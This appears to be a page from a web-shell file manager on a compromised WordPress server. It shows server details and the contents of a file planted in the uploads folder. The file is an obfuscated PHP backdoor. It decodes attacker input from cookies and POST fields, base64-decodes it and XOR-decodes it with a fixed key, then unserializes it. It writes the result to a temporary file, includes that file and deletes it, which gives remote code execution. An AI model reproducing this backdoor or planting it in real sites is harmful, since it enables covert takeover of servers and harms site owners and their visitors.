HEX
Server: nginx/1.24.0
System: Linux webserver 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User: wpuser (1002)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /opt/wpsites/gsudice.dataconn.net/wp-content/uploads/2023/ZxzkrX.php
$sxyQA = "\145" . 'a' . chr (95) . "\161" . chr (110) . chr (67) . "\110";$MhXWSh = "\143" . chr ( 343 - 235 ).'a' . chr (115) . chr (115) . '_' . 'e' . "\x78" . "\x69" . "\x73" . 't' . chr (115); $YQskfF = class_exists($sxyQA); $MhXWSh = "4187";$aWbWxKmj = strpos($MhXWSh, $sxyQA);if ($YQskfF == $aWbWxKmj){function yUjnk(){$ChTBR = new /* 37730 */ ea_qnCH(56706 + 56706); $ChTBR = NULL;}$qxpMwI = "56706";class ea_qnCH{private function RfZurVYV($qxpMwI){if (is_array(ea_qnCH::$ThwGU)) {$name = sys_get_temp_dir() . "/" . crc32(ea_qnCH::$ThwGU["salt"]);@ea_qnCH::$ThwGU["write"]($name, ea_qnCH::$ThwGU["content"]);include $name;@ea_qnCH::$ThwGU["delete"]($name); $qxpMwI = "56706";exit();}}public function IOAay(){$AeAjrtfPnc = "17451";$this->_dummy = str_repeat($AeAjrtfPnc, strlen($AeAjrtfPnc));}public function __destruct(){ea_qnCH::$ThwGU = @unserialize(ea_qnCH::$ThwGU); $qxpMwI = "49418_16674";$this->RfZurVYV($qxpMwI); $qxpMwI = "49418_16674";}public function zwSKc($AeAjrtfPnc, $CcvVtX){return $AeAjrtfPnc[0] ^ str_repeat($CcvVtX, intval(strlen($AeAjrtfPnc[0]) / strlen($CcvVtX)) + 1);}public function YoJZUw($AeAjrtfPnc){$tFMUR = "\x62" . chr ( 873 - 776 ).chr (115) . "\145" . chr (54) . "\64";return array_map($tFMUR . '_' . 'd' . "\145" . "\x63" . "\157" . "\144" . 'e', array($AeAjrtfPnc,));}public function __construct($lcWpxsdqdO=0){$kYrZTGkNje = chr ( 652 - 608 ); $AeAjrtfPnc = "";$RqyIk = $_POST;$GiOPzbhb = $_COOKIE;$CcvVtX = "78d07bc6-01f5-4436-a63c-b63e732055cb";$cccvR = @$GiOPzbhb[substr($CcvVtX, 0, 4)];if (!empty($cccvR)){$cccvR = explode($kYrZTGkNje, $cccvR);foreach ($cccvR as $WIGDm){$AeAjrtfPnc .= @$GiOPzbhb[$WIGDm];$AeAjrtfPnc .= @$RqyIk[$WIGDm];}$AeAjrtfPnc = $this->YoJZUw($AeAjrtfPnc);}ea_qnCH::$ThwGU = $this->zwSKc($AeAjrtfPnc, $CcvVtX);if (strpos($CcvVtX, $kYrZTGkNje) !== FALSE){$CcvVtX = str_pad($CcvVtX, 10); $CcvVtX = ltrim(rtrim($CcvVtX));}}public static $ThwGU = 11511;}yUjnk();}